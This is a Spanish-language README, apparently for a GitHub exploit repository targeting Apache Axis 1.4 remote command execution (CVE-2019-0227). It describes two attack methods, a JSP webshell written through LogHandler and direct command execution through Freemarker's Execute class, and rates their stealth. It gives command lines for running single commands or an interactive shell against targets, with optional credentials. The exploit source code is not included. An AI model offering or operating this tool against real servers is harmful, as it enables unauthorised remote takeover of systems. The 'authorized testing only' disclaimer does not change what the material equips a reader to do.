
Herramienta de explotación de vulnerabilidad de ejecución remota de comandos en Apache Axis1.4 - CVE-2019-0227, que admite la aleatorización del nombre del servicio y del nombre del archivo Webshell
Apache Axis1.4 contiene una vulnerabilidad de ejecución remota de comandos (CVE-2019-0227). Cuando la propiedad enableRemoteAdmin está establecida en true, un atacante puede desplegar un servicio malicioso a través de la interfaz AdminService para ejecutar comandos arbitrarios en el servidor objetivo.
Versiones afectadas: Apache Axis ≤ 1.4
Condición de activación: enableRemoteAdmin establecido en true
| Método | Script | Principio | ¿Escribe archivos? | Sigilo |
|---|
| Método 1: JSP Webshell | jsp-webshell/axis_exp.py | Escribe un JSP Webshell a través de LogHandler | ✅ Sí escribe archivos | Bajo |
| Método 2: Ejecución directa con Freemarker | freemarker-exec/axis_freemarker_exp.py | Llama directamente a la clase Execute de Freemarker para ejecutar comandos | ❌ No escribe archivos | Alto |
cd jsp-webshell
python3 axis_exp.py -u http://target.com:8080/axis/ -c "whoami"
cd freemarker-exec
python3 axis_freemarker_exp.py -u http://target.com:8080/axis/ -c "whoami"
pip install requests urllib3
Axis1.4-CVE-2019-0227/
├── README.md
├── jsp-webshell/
│ ├── axis_exp.py
│ └── README.md
└── freemarker-exec/
├── axis_freemarker_exp.py
└── README.md
Esta herramienta es solo para fines de investigación de seguridad y pruebas autorizadas. El uso no autorizado de esta herramienta para atacar sistemas objetivo es ilegal. El usuario asume toda la responsabilidad legal.
Licencia MIT
## 📝 README del subdirectorio (jsp-webshell/README.md)
A través de Axis AdminService se despliega un servicio malicioso, se utiliza LogHandler para escribir un JSP Webshell y luego se ejecutan comandos mediante una petición GET.
Desplegar servicio malicioso → LogHandler escribe shell.jsp → Petición GET ejecuta el comando
# Ejecutar un solo comando
python3 axis_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Shell interactivo
python3 axis_exp.py -u http://localhost:8080/axis/ -i
# Con autenticación
python3 axis_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
| Parámetro | Descripción |
|---|---|
-u, --url | Dirección del servicio Axis objetivo |
-c, --command | Ejecutar un solo comando |
-i, --interactive | Modo Shell interactivo |
-U, --username | Usuario de autenticación Basic |
-P, --password | Contraseña de autenticación Basic |
## 📝 README del subdirectorio (freemarker-exec/README.md)
A través de Axis AdminService se despliega un servicio que apunta a la clase freemarker.template.utility.Execute y llama directamente a su método exec para ejecutar comandos del sistema, sin escribir ningún archivo.
Desplegar servicio Execute → Llamar directamente al método exec → El resultado del comando se devuelve a través de la respuesta SOAP
freemarker.jar debe existir en el directorio WEB-INF/lib/ del entorno Axis objetivo (Axis 1.4 lo incluye por defecto)# Ejecutar un solo comando
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -c "whoami"
# Shell interactivo
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -i
# Con autenticación
python3 axis_freemarker_exp.py -u http://localhost:8080/axis/ -U admin -P admin -i
| Parámetro | Descripción |
|---|---|
-u, --url | Dirección del servicio Axis objetivo |
-c, --command | Ejecutar un solo comando |
-i, --interactive | Modo Shell interactivo |
-U, --username | Usuario de autenticación Basic |
-P, --password | Contraseña de autenticación Basic |